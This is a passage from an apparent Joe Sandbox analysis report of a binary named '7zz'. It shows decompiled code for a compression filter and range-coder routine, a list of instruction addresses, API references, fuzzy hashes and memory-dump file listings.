						 *(_t226 + _t210 * 4) = _t340 & 0x000fffff;
						_t210 = _t210 + _t252 + 1;
					} while (_t210 <  *((intOrPtr*)(_t364 + 0x2c)));
					return  *((intOrPtr*)( *(_t364 + 0x18) + 0x40000));
				}
			}

0x00459170
0x00459175
0x00459179
0x0045917d
0x00459189
0x00459189
0x0045918b
0x0045918e
0x00459192
0x00459198
0x004591a0
0x004591ae
0x004591b4
0x004591b5
0x004591a0
0x004591c5
0x004591cb
0x004591cd
0x004591d0
0x004591d0
0x004591d5
0x004591d7
0x004591d7
0x004591dd
0x004591e0
0x004591e1
0x004591e8
0x004591ec
0x004591f0
0x004591f2
0x00459203
0x0045920a
0x0045920b
0x004591f2
0x0045921e
0x00459225
0x00459229
0x00459230
0x00459241
0x00459252
0x00459258
0x00459259
0x00459230
0x0045926c
0x0045927b
0x00459281
0x00459283
0x00459286
0x00459290
0x00459293
0x00459295
0x00459297
0x00459298
0x004592ab
0x004592ae
0x004592b7
0x004592c5
0x004592cf
0x004592cf
0x004592b7
0x004592d1
0x004592d1
0x004592d7
0x004592d9
0x004592db
0x004592dc
0x004592ef
0x004592f2
0x004592fb
0x00459309
0x00459313
0x00459313
0x004592fb
0x00459315
0x00459315
0x0045931a
0x0045931c
0x0045931e
0x0045931f
0x00459332
0x00459335
0x0045933e
0x0045934c
0x00459356
0x00459356
0x0045933e
0x00459358
0x00459358
0x0045935d
0x0045935f
0x00459361
0x00459362
0x00459375
0x00459378
0x00459381
0x0045938f
0x00459399
0x00459399
0x00459381
0x0045939b
0x0045939b
0x0045939e
0x004593a1
0x004593a1
0x004593a1
0x004593ab
0x004593af
0x004593b1
0x004593b1
0x004593b6
0x004593b1
0x004593c1
0x004593c8
0x004593ca
0x004593ca
0x004593d2
0x004593e0
0x004593e0
0x004593e2
0x004593e4
0x004593e8
0x004593f0
0x00000000
0x00000000
0x00000000
0x00000000
0x004593f6
0x004593f6
0x004593f6
0x004593f9
0x00459408
0x0045940e
0x00459416
0x00459424
0x0045942f
0x00459432
0x00459432
0x0045943b
0x0045943c
0x00459440
0x004594ae
0x004594b0
0x004594b7
0x004594bd
0x004594bf
0x004594bf
0x004594c6
0x004594c9
0x004594c9
0x004594d7
0x004594d9
0x004594e1
0x004594f2
0x004594f5
0x004594f5
0x004594f7
0x004594f9
0x00459447
0x00459447
0x0045944b
0x0045944d
0x00459455
0x00459493
0x00459494
0x00459496
0x00459497
0x00459498
0x00459499
0x004594a1
0x004594a6
0x004594a6
0x00459457
0x00459457
0x0045945b
0x00459461
0x00459465
0x0045946e
0x00459479
0x0045947a
0x0045947d
0x00459481
0x00459485
0x00459485
0x0045945b
0x00459455
0x004594fd
0x004594ff
0x0045950e
0x00459512
0x00459514
0x00000000
0x00459514
0x00000000
0x00459512
0x0045951d
0x00459523
0x0045958a
0x00459525
0x00459525
0x00459525
0x0045952d
0x00459539
0x0045953b
0x0045954a
0x00459552
0x00459552
0x0045955c
0x0045955f
0x00459563
0x0045957a
0x0045957a

Strings

YA1, xrefs: 00459173

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID: YA1
API String ID: 0-613462611
Opcode ID: 37fe9a4fd3af81bafc73f8bd31f63684d8e342a2009f8b6bc144f44596592570
Instruction ID: dd7e7172c6b64ed9de0095458c467a227dd947ad75ddcf7282d203c4dea92fff
Opcode Fuzzy Hash: 37fe9a4fd3af81bafc73f8bd31f63684d8e342a2009f8b6bc144f44596592570
Instruction Fuzzy Hash: 6FD1F1715046168FD729CF1DC494236BBE1EF86305F094ABEED928B386D7389D19CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5F4 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C5F4() {
				struct _SYSTEM_INFO _v40;

				GetSystemInfo( &_v40);
				return _v40.dwNumberOfProcessors;
			}

0x0040c5fe
0x0040c608

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,004012EC,00000000,00000000,00490AB0), ref: 0040C5FE

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 1c5c9b3bbc459ceaa168d8dbf2743ba381f88a3378da8e3fc4aaaada2f7fab74
Instruction ID: 2873cf6bad21c2a51a49be2c119f9dc910efd3d225da868e7d860f0ff405fddb
Opcode Fuzzy Hash: 1c5c9b3bbc459ceaa168d8dbf2743ba381f88a3378da8e3fc4aaaada2f7fab74
Instruction Fuzzy Hash: 2DC09B74D0420D97CB00E7E5D94E88E77FCE748105F400461D515E3141E670F99587E6

Uniqueness

Uniqueness Score: -1.00%

Function 0046E6BC Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0046E6C1

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 96d1a218dc145cbfe683c815ed6cd5901e87ae0f4932733bae86baee2274f339
Instruction ID: e72988c6cc3c963252b8e5e8b60d16be35970219d15e6aeca3667ec21c81da3b
Opcode Fuzzy Hash: 96d1a218dc145cbfe683c815ed6cd5901e87ae0f4932733bae86baee2274f339
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 004442E0 Relevance: .7, Instructions: 713
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E004442E0(intOrPtr __ecx) {
				signed int _t310;
				signed int _t312;
				void* _t328;
				signed int _t330;
				signed int _t334;
				intOrPtr _t340;
				signed int _t346;
				signed int _t347;
				intOrPtr _t352;
				signed int _t357;
				signed int _t361;
				signed int _t362;
				signed int _t364;
				signed int _t368;
				signed int _t369;
				signed int _t370;
				signed int _t371;
				signed int _t372;
				signed int _t384;
				unsigned int _t386;
				signed int _t389;
				signed int _t390;
				signed int _t402;
				unsigned int _t404;
				signed int _t407;
				signed int _t411;
				void* _t414;
				signed int _t420;
				signed int _t423;
				signed int _t424;
				signed int _t428;
				signed int _t437;
				signed int _t443;
				signed int _t446;
				signed int _t447;
				signed int _t450;
				signed int _t451;
				signed char _t452;
				signed char _t453;
				signed char _t460;
				signed int _t461;
				signed char _t462;
				intOrPtr* _t483;
				signed int _t486;
				void* _t490;
				signed int _t493;
				signed int _t494;
				intOrPtr* _t499;
				signed int _t517;
				signed int _t545;
				intOrPtr _t548;
				intOrPtr _t567;
				unsigned int _t568;
				intOrPtr _t569;
				signed int _t580;
				unsigned int _t582;
				intOrPtr _t589;
				signed int _t593;
				signed int _t597;
				intOrPtr _t607;
				void* _t611;
				signed int _t612;
				signed int _t613;
				intOrPtr _t614;
				signed int _t615;
				intOrPtr _t616;
				signed int _t623;
				signed int _t624;
				signed int _t625;
				signed int* _t626;
				signed int _t627;
				intOrPtr _t628;
				intOrPtr* _t629;
				signed int _t630;
				signed int* _t631;
				signed int _t632;
				signed int _t634;
				signed int* _t640;
				intOrPtr _t641;
				intOrPtr _t643;
				intOrPtr _t644;
				void* _t648;
				signed int _t649;
				signed int _t650;
				signed int _t653;
				unsigned int _t657;
				void* _t658;
				intOrPtr _t660;
				void* _t661;

				_push(0xffffffff);
				_push(E004791D0);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t660;
				_t661 = _t660 - 0x60;
				_t607 = __ecx;
				 *((intOrPtr*)(_t661 + 0x10)) = __ecx;
				if( *(_t661 + 0x78) != 1) {
					L141:
					_t310 = 0x80070057;
					L142:
					 *[fs:0x0] =  *((intOrPtr*)(_t661 + 0x70));
					return _t310;
				}
				_t664 =  *(_t661 + 0x94) - 4;
				if( *(_t661 + 0x94) != 4) {
					goto L141;
				}
				if(E00444040(__ecx, _t664) != 0) {
					_t312 =  *(_t661 + 0x84);
					__eflags = _t312;
					 *(_t661 + 0x88) = 0;
					 *((intOrPtr*)(_t661 + 0x58)) = 0;
					 *(_t661 + 0x5c) = 0;
					if(_t312 == 0) {
						L10:
						 *((intOrPtr*)(_t661 + 0x34)) = _t607;
						_t638 =  *(_t661 + 0x8c);
						 *(_t661 + 0x78) = 0;
						_t450 =  *( *(_t661 + 0x80));
						 *(_t661 + 0x28) = _t450;
						E0040EEC1(_t607 + 0x10,  *( *(_t661 + 0x8c)));
						E0040EED0(_t607 + 0x10);
						E0040EEC1(_t607 + 0x38,  *((intOrPtr*)( *(_t661 + 0x8c) + 4)));
						E0040EED0(_t607 + 0x38);
						E0040EEC1(_t607 + 0x60,  *((intOrPtr*)( *(_t661 + 0x8c) + 8)));
						E0040EED0(_t607 + 0x60);
						E0040EEC1(_t607 + 0xa0,  *((intOrPtr*)(_t638 + 0xc)));
						_t640 = _t607 + 0x88;
						E0040EED0( &(_t640[6]));
						_t640[2] = 0;
						_t640[3] = 0;
						_t640[4] = 0xffffffff;
						 *_t640 = 1;
						_t640[1] = 0;
						memset(_t607 + 0xc8, 0x400, 0x102 << 2);
						_t661 = _t661 + 0xc;
						 *(_t661 + 0x14) = 0;
						 *(_t661 + 0x84) = 1;
						 *((intOrPtr*)( *_t450))(_t450, 0x47a4e8, _t661 + 0x14);
						_t451 = 0;
						__eflags = 0;
						 *((intOrPtr*)(_t661 + 0x18)) = 0;
						 *((intOrPtr*)(_t661 + 0x48)) = 0;
						 *((intOrPtr*)(_t661 + 0x4c)) = 0;
						 *(_t661 + 0x80) = 0;
						 *((intOrPtr*)(_t661 + 0x50)) = 0;
						 *((intOrPtr*)(_t661 + 0x54)) = 0;
						 *(_t661 + 0x40) = 0;
						 *(_t661 + 0x44) = 0;
						 *(_t661 + 0x38) = 0;
						 *(_t661 + 0x3c) = 0;
						while(1) {
							_t611 = 0;
							_t328 = 0x20000 - _t451;
							__eflags = 0x20000;
							if(0x20000 == 0) {
								goto L15;
							} else {
								goto L12;
							}
							while(1) {
								L12:
								_t499 =  *((intOrPtr*)(_t661 + 0x24));
								_t653 =  *((intOrPtr*)( *_t499 + 0xc))(_t499,  *((intOrPtr*)( *((intOrPtr*)(_t661 + 0x18)) + 8)) + _t611 + _t451, _t328, _t661 + 0x28);
								__eflags = _t653;
								if(_t653 != 0) {
									break;
								}
								_t443 =  *(_t661 + 0x28);
								__eflags = _t443;
								if(_t443 == 0) {
									goto L15;
								}
								_t611 = _t611 + _t443;
								_t328 = 0x20000 - _t611 - _t451;
								__eflags = 0x20000;
								if(0x20000 != 0) {
									continue;
								}
								goto L15;
							}
							_t437 =  *(_t661 + 0x14);
							 *(_t661 + 0x78) = 0;
							__eflags = _t437;
							if(_t437 != 0) {
								 *((intOrPtr*)( *_t437 + 8))(_t437);
							}
							_t642 =  *((intOrPtr*)(_t661 + 0x10));
							 *(_t661 + 0x78) = 0xffffffff;
							L00437D6C( *((intOrPtr*)(_t661 + 0x10)) + 0x24);
							L00437D6C( *((intOrPtr*)(_t661 + 0x10)) + 0x4c);
							L00437D6C( *((intOrPtr*)(_t661 + 0x10)) + 0x74);
							L00437D6C(_t642 + 0xb4);
							_t310 = _t653;
							goto L142;
							L15:
							_t612 = _t611 + _t451;
							__eflags = _t612 - 5;
							 *(_t661 + 0x20) = _t612;
							if(_t612 < 5) {
								_t648 = 0;
								__eflags = _t612;
								if(__eflags <= 0) {
									L119:
									_t641 =  *((intOrPtr*)(_t661 + 0x10));
									_t613 = E004441E0(_t641, __eflags);
									_t330 =  *(_t661 + 0x14);
									__eflags = _t330;
									 *(_t661 + 0x78) = 0;
									if(_t330 != 0) {
										 *((intOrPtr*)( *_t330 + 8))(_t330);
									}
									 *(_t661 + 0x78) = 0xffffffff;
									L00437D6C(_t641 + 0x24);
									L00437D6C(_t641 + 0x4c);
									L00437D6C(_t641 + 0x74);
									_t334 =  *(_t641 + 0xb4);
									__eflags = _t334;
									if(_t334 != 0) {
										 *((intOrPtr*)( *_t334 + 8))(_t334);
										 *(_t641 + 0xb4) = 0;
									}
									_t310 = _t613;
									goto L142;
								} else {
									goto L107;
								}
								do {
									L107:
									_t614 =  *((intOrPtr*)(_t661 + 0x10));
									_t483 = _t614 + 0x10;
									_t452 =  *((intOrPtr*)( *((intOrPtr*)(_t614 + 8)) + _t648));
									 *( *((intOrPtr*)(_t614 + 0x14)) +  *_t483) = _t452;
									_t340 =  *((intOrPtr*)(_t483 + 4)) + 1;
									__eflags = _t340 -  *((intOrPtr*)(_t483 + 8));
									 *((intOrPtr*)(_t483 + 4)) = _t340;
									if(__eflags == 0) {
										E0040EFBD(_t483, __eflags);
									}
									__eflags = _t452 - 0xe8;
									if(_t452 != 0xe8) {
										__eflags = _t452 - 0xe9;
										if(_t452 != 0xe9) {
											__eflags =  *(_t661 + 0x80) - 0xf;
											if( *(_t661 + 0x80) != 0xf) {
												goto L118;
											}
											__eflags = (_t452 & 0x000000f0) - 0x80;
											if((_t452 & 0x000000f0) != 0x80) {
												goto L118;
											}
											_t486 = 0x101;
											goto L116;
										}
										_t486 = 0x100;
										goto L116;
									} else {
										_t486 =  *(_t661 + 0x80) & 0x000000ff;
										L116:
										_t640[4] = (_t640[4] >> 0xb) *  *(_t614 + 0xc8 + _t486 * 4);
										 *(_t614 + 0xc8 + _t486 * 4) = (0x800 -  *(_t614 + 0xc8 + _t486 * 4) >> 5) +  *(_t614 + 0xc8 + _t486 * 4);
										_t346 = _t640[4];
										__eflags = _t346 - 0x1000000;
										if(_t346 < 0x1000000) {
											_t347 = _t346 << 8;
											__eflags = _t347;
											_t640[4] = _t347;
											E00444C10(_t640);
										}
									}
									L118:
									_t648 = _t648 + 1;
									__eflags = _t648 -  *(_t661 + 0x20);
									 *(_t661 + 0x80) = _t452;
								} while (__eflags < 0);
								goto L119;
							}
							_t615 = _t612 + 0xfffffffb;
							__eflags = _t615;
							 *(_t661 + 0x8c) = 0;
							 *(_t661 + 0x30) = _t615;
							do {
								_t616 =  *((intOrPtr*)(_t661 + 0x10));
								_t649 =  *(_t661 + 0x8c);
								_t453 =  *((intOrPtr*)( *((intOrPtr*)(_t616 + 8)) + _t649));
								_t490 = _t616 + 0x10;
								 *( *((intOrPtr*)(_t616 + 0x10)) +  *((intOrPtr*)(_t616 + 0x14))) = _t453;
								 *(_t661 + 0x94) = _t453;
								_t352 =  *((intOrPtr*)(_t490 + 4)) + 1;
								__eflags = _t352 -  *((intOrPtr*)(_t490 + 8));
								 *((intOrPtr*)(_t490 + 4)) = _t352;
								if(__eflags == 0) {
									E0040EFBD(_t490, __eflags);
								}
								__eflags = (_t453 & 0x000000fe) - 0xe8;
								if((_t453 & 0x000000fe) == 0xe8) {
									L23:
									_t493 =  *((intOrPtr*)( *((intOrPtr*)(_t616 + 8)) + _t649 + 4));
									 *(_t661 + 0x84) = _t493;
									_t567 =  *((intOrPtr*)(_t661 + 0x18));
									 *(_t661 + 0x2c) = 0 << 8 << 8;
									_t79 = _t567 + 5; // 0x5
									_t568 = (0 << 8 << 8) + _t649 + _t79;
									_t357 =  *(_t661 + 0x14);
									__eflags = _t357;
									 *(_t661 + 0x1c) = _t568;
									if(_t357 == 0) {
										__eflags =  *(_t661 + 0x88);
										if( *(_t661 + 0x88) == 0) {
											__eflags = _t493;
											if(_t493 == 0) {
												L64:
												_t494 = 1;
												L65:
												_t453 =  *(_t661 + 0x94);
												__eflags = _t453 - 0xe8;
												if(_t453 != 0xe8) {
													__eflags = _t453 - 0xe9;
													_t361 = (0 | _t453 != 0x000000e9) + 0x100;
													__eflags = _t361;
												} else {
													_t361 =  *(_t661 + 0x80) & 0x000000ff;
												}
												__eflags = _t494;
												if(_t494 == 0) {
													_t569 =  *((intOrPtr*)(_t661 + 0x10));
													_t640[4] = (_t640[4] >> 0xb) *  *(_t569 + 0xc8 + _t361 * 4);
													 *(_t569 + 0xc8 + _t361 * 4) = (0x800 -  *(_t569 + 0xc8 + _t361 * 4) >> 5) +  *(_t569 + 0xc8 + _t361 * 4);
													_t362 = _t640[4];
													__eflags = _t362 - 0x1000000;
													if(_t362 >= 0x1000000) {
														L95:
														_t210 = _t661 + 0x8c;
														 *_t210 =  *(_t661 + 0x8c) + 1;
														__eflags =  *_t210;
														goto L96;
													}
													_t625 = _t640[2];
													__eflags = _t625 - 0xff000000;
													_t640[4] = _t362 << 8;
													if(_t625 < 0xff000000) {
														L89:
														_t460 = _t640[1];
														_t626 =  &(_t640[6]);
														do {
															 *((char*)( *_t626 + _t626[1])) = L0046B2E0(_t640[2], 0x20, _t640[3]) + _t460;
															_t580 = _t626[1] + 1;
															_t626[1] = _t580;
															__eflags = _t580 - _t626[2];
															if(__eflags == 0) {
																E0040EFBD(_t626, __eflags);
															}
															_t460 = _t460 | 0x000000ff;
															_t384 =  *_t640 - 1;
															__eflags = _t384;
															 *_t640 = _t384;
														} while (_t384 != 0);
														_t625 = _t640[2];
														_t386 = _t625 >> 0x18;
														__eflags = _t386;
														_t640[1] = _t386;
														L94:
														_t453 =  *(_t661 + 0x94);
														_t627 = _t625 << 8;
														__eflags = _t627;
														_t640[2] = _t627;
														 *_t640 =  *_t640 + 1;
														_t640[3] = 0;
														goto L95;
													}
													_t389 = L0046B2E0(_t625, 0x20, _t640[3]);
													__eflags = _t389;
													if(_t389 == 0) {
														goto L94;
													}
													goto L89;
												} else {
													_t582 = _t640[4];
													_t628 =  *((intOrPtr*)(_t661 + 0x10));
													_t517 = (_t582 >> 0xb) *  *(_t628 + 0xc8 + _t361 * 4);
													_t640[2] = _t640[2] + _t517;
													asm("adc ebp, 0x0");
													_t640[4] = _t582 - _t517;
													 *(_t628 + 0xc8 + _t361 * 4) =  *(_t628 + 0xc8 + _t361 * 4) - ( *(_t628 + 0xc8 + _t361 * 4) >> 5);
													_t390 = _t640[4];
													__eflags = _t390 - 0x1000000;
													if(_t390 >= 0x1000000) {
														L78:
														__eflags = _t453 - 0xe8;
														 *(_t661 + 0x8c) =  *(_t661 + 0x8c) + 5;
														if(_t453 != 0xe8) {
															_t629 =  *((intOrPtr*)(_t661 + 0x10)) + 0x60;
														} else {
															_t629 =  *((intOrPtr*)(_t661 + 0x10)) + 0x38;
														}
														_t657 =  *(_t661 + 0x1c);
														_t461 = 0x18;
														do {
															 *((char*)( *((intOrPtr*)(_t629 + 4)) +  *_t629)) = _t657 >> _t461;
															_t589 =  *((intOrPtr*)(_t629 + 4)) + 1;
															 *((intOrPtr*)(_t629 + 4)) = _t589;
															__eflags = _t589 -  *((intOrPtr*)(_t629 + 8));
															if(__eflags == 0) {
																E0040EFBD(_t629, __eflags);
															}
															_t461 = _t461 - 8;
															__eflags = _t461;
														} while (_t461 >= 0);
														 *(_t661 + 0x80) =  *(_t661 + 0x84);
														goto L97;
													}
													_t630 = _t640[2];
													__eflags = _t630 - 0xff000000;
													_t640[4] = _t390 << 8;
													if(_t630 < 0xff000000) {
														L72:
														_t462 = _t640[1];
														_t631 =  &(_t640[6]);
														do {
															 *((char*)( *_t631 + _t631[1])) = L0046B2E0(_t640[2], 0x20, _t640[3]) + _t462;
															_t593 = _t631[1] + 1;
															_t631[1] = _t593;
															__eflags = _t593 - _t631[2];
															if(__eflags == 0) {
																E0040EFBD(_t631, __eflags);
															}
															_t462 = _t462 | 0x000000ff;
															_t402 =  *_t640 - 1;
															__eflags = _t402;
															 *_t640 = _t402;
														} while (_t402 != 0);
														_t630 = _t640[2];
														_t404 = _t630 >> 0x18;
														__eflags = _t404;
														_t640[1] = _t404;
														L77:
														_t453 =  *(_t661 + 0x94);
														_t632 = _t630 << 8;
														__eflags = _t632;
														_t640[2] = _t632;
														 *_t640 =  *_t640 + 1;
														_t640[3] = 0;
														goto L78;
													}
													_t407 = L0046B2E0(_t630, 0x20, _t640[3]);
													__eflags = _t407;
													if(_t407 == 0) {
														goto L77;
													}
													goto L72;
												}
											}
											__eflags = _t493 - 0xff;
											if(_t493 == 0xff) {
												goto L64;
											}
											_t494 = 0;
											goto L65;
										}
										__eflags = 0 -  *(_t661 + 0x5c);
										if(__eflags > 0) {
											L60:
											_t494 = 0;
											goto L65;
										}
										if(__eflags < 0) {
											goto L64;
										}
										__eflags = _t568 -  *((intOrPtr*)(_t661 + 0x58));
										if(_t568 <  *((intOrPtr*)(_t661 + 0x58))) {
											goto L64;
										}
										goto L60;
									}
									_t658 = _t649 +  *((intOrPtr*)(_t661 + 0x48));
									asm("adc ebx, edi");
									__eflags =  *(_t661 + 0x3c);
									if(__eflags > 0) {
										L38:
										__eflags = _t357;
										if(_t357 != 0) {
											_t634 =  *(_t661 + 0x40);
											_t597 =  *(_t661 + 0x3c);
											_t411 =  *(_t661 + 0x38) - _t634;
											__eflags = _t411;
											asm("sbb edx, [esp+0x44]");
											 *(_t661 + 0x6c) = _t597;
											if(_t411 != 0) {
												L46:
												__eflags = _t493;
												if(_t493 == 0) {
													goto L64;
												}
												__eflags = _t493 - 0xff;
												if(_t493 == 0xff) {
													goto L64;
												}
												_t494 = 0;
												goto L65;
											}
											__eflags = _t411 - 0x1000000;
											if(_t411 <= 0x1000000) {
												asm("cdq");
												asm("adc edx, ebx");
												_t414 =  *(_t661 + 0x2c) + _t658 + 5;
												asm("adc edx, 0x0");
												__eflags = _t597 -  *(_t661 + 0x44);
												if(__eflags < 0) {
													L55:
													_t494 = 0;
													goto L65;
												}
												if(__eflags > 0) {
													L52:
													__eflags = _t597 -  *(_t661 + 0x3c);
													if(__eflags > 0) {
														goto L55;
													}
													if(__eflags < 0) {
														goto L64;
													}
													__eflags = _t414 -  *(_t661 + 0x38);
													if(_t414 <  *(_t661 + 0x38)) {
														goto L64;
													}
													goto L55;
												}
												__eflags = _t414 - _t634;
												if(_t414 < _t634) {
													goto L55;
												}
												goto L52;
											}
											goto L46;
										}
										__eflags =  *(_t661 + 0x88);
										if( *(_t661 + 0x88) == 0) {
											goto L46;
										}
										__eflags = 0 -  *(_t661 + 0x5c);
										if(__eflags > 0) {
											L43:
											_t494 = 0;
											goto L65;
										}
										if(__eflags < 0) {
											goto L64;
										}
										__eflags =  *(_t661 + 0x1c) -  *((intOrPtr*)(_t661 + 0x58));
										if( *(_t661 + 0x1c) <  *((intOrPtr*)(_t661 + 0x58))) {
											goto L64;
										}
										goto L43;
									}
									if(__eflags < 0) {
										goto L27;
										do {
											do {
												L27:
												_t624 =  *((intOrPtr*)( *_t357 + 0xc))(_t357,  *((intOrPtr*)(_t661 + 0x58)),  *((intOrPtr*)(_t661 + 0x58)), _t661 + 0x60);
												__eflags = _t624;
												if(_t624 != 0) {
													__eflags = _t624 - 1;
													if(_t624 == 1) {
														L31:
														_t357 =  *(_t661 + 0x14);
														__eflags = _t357;
														if(_t357 != 0) {
															 *((intOrPtr*)( *_t357 + 8))(_t357);
															_t357 = 0;
															__eflags = 0;
															 *(_t661 + 0x14) = 0;
														}
														 *(_t661 + 0x40) = 0;
														 *(_t661 + 0x44) = 0;
														__eflags = 0xffffffff;
														 *(_t661 + 0x38) = 0xffffffff;
														 *(_t661 + 0x3c) = 0xffffffff;
														goto L34;
													}
													__eflags = _t624 - 0x80004001;
													if(_t624 != 0x80004001) {
														_t420 =  *(_t661 + 0x14);
														 *(_t661 + 0x78) = 0;
														__eflags = _t420;
														if(_t420 != 0) {
															 *((intOrPtr*)( *_t420 + 8))(_t420);
														}
														_t644 =  *((intOrPtr*)(_t661 + 0x10));
														 *(_t661 + 0x78) = 0xffffffff;
														L00437D6C(_t644 + 0x24);
														L00437D6C(_t644 + 0x4c);
														_t423 =  *(_t644 + 0x74);
														__eflags = _t423;
														if(_t423 != 0) {
															 *((intOrPtr*)( *_t423 + 8))(_t423);
															 *(_t644 + 0x74) = 0;
														}
														_t424 =  *(_t644 + 0xb4);
														__eflags = _t424;
														if(_t424 != 0) {
															 *((intOrPtr*)( *_t424 + 8))(_t424);
															 *(_t644 + 0xb4) = 0;
														}
														L130:
														_t310 = _t624;
														goto L142;
													}
													goto L31;
												}
												_t428 =  *(_t661 + 0x38);
												_t545 =  *(_t661 + 0x3c);
												 *(_t661 + 0x40) = _t428;
												 *(_t661 + 0x44) = _t545;
												 *(_t661 + 0x38) = _t428 +  *((intOrPtr*)(_t661 + 0x60));
												asm("adc ecx, edi");
												 *(_t661 + 0x3c) = _t545;
												asm("adc eax, 0x0");
												 *((intOrPtr*)(_t661 + 0x50)) =  *((intOrPtr*)(_t661 + 0x50)) + 1;
												_t357 =  *(_t661 + 0x14);
												L34:
												__eflags =  *(_t661 + 0x3c);
											} while (__eflags < 0);
											if(__eflags > 0) {
												break;
											}
											__eflags =  *(_t661 + 0x38) - _t658;
										} while ( *(_t661 + 0x38) < _t658);
										_t493 =  *(_t661 + 0x84);
										goto L38;
									}
									__eflags =  *(_t661 + 0x38) - _t658;
									if( *(_t661 + 0x38) >= _t658) {
										goto L38;
									}
									goto L27;
								} else {
									__eflags =  *(_t661 + 0x80) - 0xf;
									if( *(_t661 + 0x80) != 0xf) {
										L22:
										 *(_t661 + 0x8c) = _t649 + 1;
										L96:
										 *(_t661 + 0x80) = _t453;
										goto L97;
									}
									__eflags = (_t453 & 0x000000f0) - 0x80;
									if((_t453 & 0x000000f0) == 0x80) {
										goto L23;
									}
									goto L22;
								}
								L97:
								_t650 =  *(_t661 + 0x8c);
								__eflags = _t650 -  *(_t661 + 0x30);
							} while (_t650 <=  *(_t661 + 0x30));
							_t364 =  *(_t661 + 0x98);
							 *((intOrPtr*)(_t661 + 0x18)) =  *((intOrPtr*)(_t661 + 0x18)) + _t650;
							_t451 = 0;
							asm("adc edx, ebx");
							__eflags = _t364;
							 *((intOrPtr*)(_t661 + 0x48)) =  *((intOrPtr*)(_t661 + 0x48)) + _t650;
							if(_t364 == 0) {
								L100:
								_t623 =  *(_t661 + 0x20);
								__eflags = _t650 - _t623;
								if(_t650 >= _t623) {
									L102:
									continue;
								} else {
									goto L101;
								}
								do {
									L101:
									_t451 = _t451 + 1;
									_t650 = _t650 + 1;
									__eflags = _t650 - _t623;
									 *((char*)( *((intOrPtr*)( *((intOrPtr*)(_t661 + 0x10)) + 8)) + _t451 - 1)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t661 + 0x10)) + 8)) + _t650 - 1));
								} while (_t650 < _t623);
								goto L102;
							}
							_t624 =  *((intOrPtr*)( *_t364 + 0xc))(_t364, _t661 + 0x48, 0);
							__eflags = _t624;
							if(_t624 != 0) {
								_t368 =  *(_t661 + 0x14);
								 *(_t661 + 0x78) = 0;
								__eflags = _t368;
								if(_t368 != 0) {
									 *((intOrPtr*)( *_t368 + 8))(_t368);
								}
								_t643 =  *((intOrPtr*)(_t661 + 0x10));
								 *(_t661 + 0x78) = 0xffffffff;
								_t369 =  *(_t643 + 0x24);
								__eflags = _t369 - _t451;
								if(_t369 != _t451) {
									 *((intOrPtr*)( *_t369 + 8))(_t369);
									 *(_t643 + 0x24) = _t451;
								}
								_t370 =  *(_t643 + 0x4c);
								__eflags = _t370 - _t451;
